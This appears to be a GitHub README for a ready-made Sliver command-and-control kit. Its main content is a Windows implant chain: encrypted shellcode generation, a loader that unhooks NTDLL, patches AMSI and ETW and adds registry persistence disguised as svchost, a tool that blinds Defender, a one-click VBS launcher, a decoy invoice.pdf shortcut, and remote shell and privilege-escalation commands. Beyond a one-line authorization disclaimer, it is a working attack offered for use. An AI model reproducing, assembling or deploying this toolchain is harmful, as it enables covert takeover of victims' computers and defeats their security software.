Sliver C2 Infrastructure

Production-grade C2 framework with always-on redirector, FUD evasion, and cross-device failover.

Target (Windows) → Cloudflare Worker (24/7) → Cloudflare Tunnel → Sliver C2 (Linux)
      ANYWHERE          PERMANENT URL            AUTO-UPDATING         YOUR LAPTOP/VPS

Architecture

Component	Location	URL	Uptime
Cloudflare Worker	Cloudflare edge	`sliver-c2.pantha704.workers.dev`	24/7 (free)
Cloudflare Tunnel	C2 laptop	`<random>.trycloudflare.com`	Only when laptop on
Sliver Server	C2 laptop	`localhost:8080`	Only when laptop on

When laptop is OFF: Worker returns 503 → implant retries every 60s → auto-connect on boot.

Repository Structure

softwares/pentest/
├── README.md
├── server/                    # C2 server-side
│   ├── c2-start.sh           # Main startup script (launches everything)
│   ├── sliver-setup.sh       # Fresh machine setup (install dependencies)
│   ├── remote-update-worker.sh  # Update Worker from ANY device
│   ├── worker.js             # Cloudflare Worker code
│   └── wrangler.toml         # Worker deployment config
├── src/                       # Source code (cross-compiled via zig)
│   ├── loader.c              # C implant loader (unhook + AMSI + ETW + persist)
│   └── UnDefend.cpp          # Defender signature blocker (Nightmare-Eclipse)
└── target/                    # Delivery files (to Windows Downloads)
    ├── setup.vbs             # One-click launcher
    ├── sliver.bin            # Encrypted Donut shellcode (generated by c2-start.sh)
    ├── loader.exe            # Pre-compiled loader (from src/loader.c)
    └── UnDefend.exe          # Pre-compiled Defender killer (from src/UnDefend.cpp)

Quick Start

1. Server Setup (Linux laptop/VPS)

# Clone repo
git clone https://github.com/YOUR_USER/sliver-c2.git
cd sliver-c2/server

# One-time setup
CF_API_TOKEN="your_cloudflare_api_token" bash sliver-setup.sh

# Every time you want to start C2
bash c2-start.sh

2. Delivery (Target Windows)

Copy target/ folder to C:\Users\<user>\Downloads\:

setup.vbs + loader.exe + UnDefend.exe + sliver.bin

Double-click setup.vbs → one click, everything fires.

3. Generate Implant (sliver.bin)

c2-start.sh generates this automatically. If you need to rebuild manually:

# Inside sliver console:
http --lhost 127.0.0.1 --lport 8080
generate --os windows --http sliver-c2.pantha704.workers.dev:443 \
  -f shellcode -s /tmp/sc.bin \
  --shellcode-entropy 3 --shellcode-compress --shellcode-bypass 2 \
  --skip-symbols --shellcode-encoder xor

# Then XOR encrypt:
python3 -c "KEY=0xAA; sc=open('/tmp/sc.bin','rb').read(); open('sliver.bin','wb').write(bytes(b^KEY for b in sc))"

4. Transfer to Target

Copy these 4 files to C:\Users\<username>\Downloads\ on the Windows target:

setup.vbs + loader.exe + UnDefend.exe + sliver.bin

Any transfer method works: USB, cloud drive, email, Discord, HTTP download.

5. Deploy on Target

Double-click setup.vbs in the Downloads folder. This is the only manual action.

What happens automatically:

UnDefend.exe runs hidden → locks Defender signature files
loader.exe runs hidden → unhook + AMSI + ETW + persist + inject
Desktop shortcut invoice.pdf appears (PDF icon) for future reconnects
Implant calls home via HTTPS to Worker

6. Interact

sliver                    # Open console
>> sessions               # List connected implants
>> use <session-id>       # Interact
>> shell                  # Remote shell
>> persist --reg          # Survive reboots (if loader built without persistence)
>> screenshot             # Grab screen
>> getsystem              # Escalate to SYSTEM

Implant Attack Chain

setup.vbs (double-click)
  │
  ├─ UnDefend.exe (step 1)
  │   ├─ Locks Defender signature files (NtCreateFile + LockFileEx)
  │   ├─ Locks Backup files (mpavbase.lkg, mpavbase.vdm)
  │   ├─ Monitors Definition Updates → auto-locks new files
  │   └─ Keeps running (Defender stays blind)
  │
  ├─ Wait 3 seconds (locks take effect)
  │
  └─ loader.exe (step 2)
      ├─ Unhook NTDLL.dll (fresh .text from disk → overwrite hooked syscalls)
      ├─ Patch AmsiScanBuffer (return E_INVALIDARG)
      ├─ Patch EtwEventWrite (return immediately)
      ├─ Registry persistence (HKCU\Run\WindowsHost → %APPDATA%\svchost.exe)
      ├─ Copy self + sliver.bin to %APPDATA%
      ├─ Read sliver.bin → XOR decrypt (key: 0xAA)
      ├─ VirtualAlloc → memcpy → CreateThread
      └─ Sliver shellcode fires → HTTPS callback to Worker

Evasion Stack

Layer	Technique	Status
Defender Signature Block	NtCreateFile + LockFileEx on update files	✅
Unhook NTDLL	Fresh .text section from disk → overwrite EDR hooks	✅
AMSI Bypass	Patch AmsiScanBuffer → return E_INVALIDARG	✅
ETW Bypass	Patch EtwEventWrite → ret immediately	✅
Direct Syscalls	Dynamic SSN resolution from ntdll exports	✅
Shellcode Encryption	XOR + Donut-pack + entropy 3 + aPLib compress	✅
C2 Front	Worker URL (permanent, looks like CF app)	✅
C2 Protocol	HTTPS via Cloudflare Tunnel (TLS at edge)	✅

Environment Variables

Variable	Required	Where to find
`CF_API_TOKEN`	Yes	Cloudflare Dashboard → API Tokens
`CF_ACCOUNT_ID`	No (auto-detected)	Cloudflare Dashboard → Overview

Get your token from: https://dash.cloudflare.com/profile/api-tokens (Use the "Edit Cloudflare Workers" template)

Backup C2 (if main laptop unavailable)

If your primary C2 laptop is offline, start C2 from ANY Linux machine:

# On backup machine:
git clone https://github.com/YOUR_USER/sliver-c2.git
cd sliver-c2/server

CF_API_TOKEN="your_token" bash sliver-setup.sh
bash c2-start.sh

The Worker auto-updates to the new tunnel. Implant connects within 60s. No implant rebuild needed.

Update Worker from Any Device

If you only need to update the Worker forwarding (e.g. pointing to a new tunnel):

CF_API_TOKEN="your_token" bash remote-update-worker.sh something.trycloudflare.com

No Sliver, no cloudflared, no laptop needed. Just npm + the token.

Compile from Source

Requires zig 0.13+ for cross-compilation:

# Compile loader
zig cc -target x86_64-windows-gnu -o loader.exe src/loader.c \
    -lntdll -lkernel32 -luser32 -ladvapi32

# Compile UnDefend
zig c++ -target x86_64-windows-gnu -o UnDefend.exe src/UnDefend.cpp \
    -lntdll -lkernel32 -lole32 -ladvapi32 -luser32

Security Notes

The Cloudflare API token has Workers deploy permissions only. Cannot read/modify other Cloudflare services.
The implant calls a Worker URL. The Worker forwards to a tunnel URL. The tunnel URL changes but the Worker updates automatically.
Cloudflare Workers free tier: 100,000 requests/day. More than enough for C2.
Cloudflare Tunnel free tier: No limits, but URL changes per restart.
This repository contains evasion/pentesting code. Use only on systems you own or have explicit authorization to test.

Resources

Sliver C2 - BishopFox C2 framework
Nightmare-Eclipse - Defender/Vulnerability research
Cloudflare Workers - Free edge compute
Cloudflare Tunnel - Free tunnel
Zig - Cross-compiler used for Windows binaries
Donut - PE to shellcode converter (used by Sliver)

Alias (optional)

Add to ~/.bashrc for quick C2 startup:

alias c2up='bash /path/to/sliver-c2/server/c2-start.sh'

Then just type c2up in a terminal to restart the entire C2 pipeline.

Checking if Implant Connected

# Method 1: Sliver console
sliver
>> sessions        # Shows all connected implants with ID, hostname, IP

# Method 2: Check Worker response
curl -s -o /dev/null -w "%{http_code}" https://sliver-c2.pantha704.workers.dev
# 404 = tunnel + sliver alive
# 503 = tunnel/sliver down
# 530 = worker misconfigured

# Method 3: Check Sliver listener
ss -tlnp | grep 8080    # Should show Sliver listening

Troubleshooting

Problem	Fix
Worker returns 530	Tunnel dead or Worker not deployed. Run `c2up`.
Implant doesn't connect	Check Windows Defender didn't block it. Check target has internet.
`UnDefend.exe` fails	Tamper Protection might block it. Disable in Defender settings.
`loader.exe` crashes	`sliver.bin` not in same folder or corrupted. Re-copy both.
No session appears	Check Ubuntu firewall: `sudo ufw allow 8080`. Check tunnel log: `tail c2-tunnel.log`.
Worker URL 404 but no session	Implant might not have run yet. Check Windows target.
Tunnel URL expired	Run `c2up` to refresh. Worker auto-updates.
`c2up` fails	Check `CF_API_TOKEN` env var is set. Check internet connectivity.

License

MIT. Education and authorized testing only.

Navigation Menu

Repository files navigation

Sliver C2 Infrastructure

Architecture

Repository Structure

Quick Start

1. Server Setup (Linux laptop/VPS)

2. Delivery (Target Windows)

3. Generate Implant (sliver.bin)

4. Transfer to Target

5. Deploy on Target

6. Interact

Implant Attack Chain

Evasion Stack

Environment Variables

Backup C2 (if main laptop unavailable)

Update Worker from Any Device

Compile from Source

Security Notes

Resources

Alias (optional)

Checking if Implant Connected

Troubleshooting

License

About

Releases

Packages

Contributors

Languages

Name		Name	Last commit message	Last commit date
server		server
src		src
target		target
.gitignore		.gitignore
LICENSE		LICENSE
README.md		README.md

Latest commit

History

Folders and files

Repository files navigation

Sliver C2 Infrastructure

Architecture

Repository Structure

Quick Start

1. Server Setup (Linux laptop/VPS)

2. Delivery (Target Windows)

3. Generate Implant (sliver.bin)

4. Transfer to Target

5. Deploy on Target

6. Interact

Implant Attack Chain

Evasion Stack

Environment Variables

Backup C2 (if main laptop unavailable)

Update Worker from Any Device

Compile from Source

Security Notes

Resources

Alias (optional)

Checking if Implant Connected

Troubleshooting

License

About

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages